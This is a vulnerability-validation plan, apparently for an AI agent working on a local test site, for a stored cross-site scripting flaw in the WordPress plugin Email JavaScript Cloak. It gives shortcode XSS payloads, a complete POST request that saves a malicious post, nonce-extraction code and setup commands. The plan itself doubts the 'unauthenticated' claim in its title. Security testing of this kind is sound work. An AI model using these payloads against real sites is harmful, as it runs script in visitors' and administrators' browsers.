Email JavaScript Cloak <= 1.03 - Unauthenticated Stored Cross-Site Scripting

This research plan outlines the methodology for validating CVE-2026-10091, a Stored Cross-Site Scripting (XSS) vulnerability in the Email JavaScript Cloak plugin.

1. Vulnerability Summary

The Email JavaScript Cloak plugin (slug: email-javascript-cloaker) is designed to obfuscate email addresses on WordPress sites using JavaScript to prevent scraping. The vulnerability exists because the plugin registers a shortcode (typically [email]) and processes user-supplied attributes (like the email address or link text) without sufficient sanitization or output escaping. When a user with the ability to use shortcodes (Contributor and above) saves a post containing a malicious payload in these attributes, the script is stored in the database and executed in the browser of any user (including Administrators) who views the post.

2. Attack Vector Analysis

• Vulnerable Endpoint: POST /wp-admin/post.php (via the WordPress post editor) or POST /wp-admin/admin-ajax.php (via Gutenberg/autosave).
• Trigger Action: Viewing the published or previewed post/page containing the shortcode.
• Required Authentication: Authenticated with Contributor role or higher (standard WordPress role that can create but not publish posts).
• Preconditions: The plugin must be active. If the "Unauthenticated" claim in the title holds true, it implies the plugin might also hook into comment_text, allowing any visitor to use the shortcode in a comment.

3. Code Flow (Inferred)

1. Registration: The plugin uses add_shortcode( 'email', 'callback_function' ) (inferred) during the init hook.
2. Processing: When a post is rendered, do_shortcode() calls the plugin's callback.
3. Attribute Extraction: The callback likely uses shortcode_atts() to extract attributes like address, link_text, or class.
4. Vulnerable Sink: The extracted attributes are concatenated into a string (either a <script> block for obfuscation or a <noscript> fallback) and returned to the WordPress rendering engine.
5. Rendering: Because the return value is not passed through esc_attr() or esc_html(), the malicious payload is rendered directly into the HTML DOM.

4. Nonce Acquisition Strategy

To exploit this as a Contributor, you need to save a post. This requires a standard WordPress post-editing nonce (_wpnonce).

1. Identify Shortcode Loading: The plugin scripts load on the post editing page.
2. Create a Test Page:

   wp post create --post_type=page --post_status=publish --post_title="XSS Test" --post_content='[email address="test@example.com"]'
   

3. Navigate to Edit Page: Use browser_navigate to http://localhost:8080/wp-admin/post-new.php.
4. Extract Nonce:

   // In browser_eval
   const nonce = document.querySelector('#_wpnonce')?.value;
   

5. Unauthenticated Check: If testing for unauthenticated XSS (via comments), navigate to a post and extract the comment_post_ID and check if add_filter('comment_text', 'do_shortcode') is present in the plugin source.

5. Exploitation Strategy

The goal is to breakout of an HTML attribute or a JavaScript string within the cloaking logic.

Step 1: Payload Construction
We will attempt to break out of a standard attribute context.

• Payload A (Attribute Breakout): [email address='test@example.com" onmouseover="alert(document.domain)" ']
• Payload B (Link Text Injection): [email address="test@example.com" link_text="<img src=x onerror=alert(1)>"]
• Payload C (Script Context Breakout): If the plugin uses a script like var email = "user@domain.com";, try: [email address='";alert(1);//']

Step 2: HTTP Request (Contributor)
Using the http_request tool to save the malicious shortcode:

• Method: POST
• URL: http://localhost:8080/wp-admin/post.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=editpost&
  post_ID=[POST_ID]&
  _wpnonce=[NONCE]&
  post_title=VulnerablePost&
  content=[email address='"><script>alert(window.origin)</script>']&
  post_status=publish
  

6. Test Data Setup

1. Install Plugin: wp plugin install email-javascript-cloaker --version=1.03 --activate
2. Create Contributor: wp user create attacker attacker@example.com --role=contributor --user_pass=password123
3. Create Target Post: wp post create --post_title="Contact Us" --post_status=publish --post_author=[ATTACKER_ID]

7. Expected Results

• Upon visiting the post as any user (e.g., an Admin visiting http://localhost:8080/?p=[POST_ID]), a JavaScript alert box showing the site's origin should appear.
• The HTML source will show the payload rendered without encoding, for example:
  <a href="mailto:"><script>alert(window.origin)</script>">...</a>

8. Verification Steps

1. Database Check:

   wp db query "SELECT post_content FROM wp_posts WHERE post_title='VulnerablePost'"
   

   Confirm the shortcode is stored with the literal <script> tag.
2. Source Inspection:
   Use http_request (GET) on the post URL and grep for the payload:

   grep -C 5 "alert(window.origin)" response_body.html
   

9. Alternative Approaches

• Comment Injection: If the plugin supports shortcodes in comments, use http_request to POST /wp-comments-post.php with comment=[email address='...']. This would confirm the "Unauthenticated" severity.
• CSS Injection: If script tags are filtered by a WAF, attempt XSS via the class or style attribute:
  [email address="a@b.com" class='"><img src=x onerror=alert(1)>']
• Bypass Obfuscation: If the plugin uses str_replace or similar to "cloak" the email, test if the replacement logic itself can be subverted by providing an array or an extremely long string to cause a crash or partial render.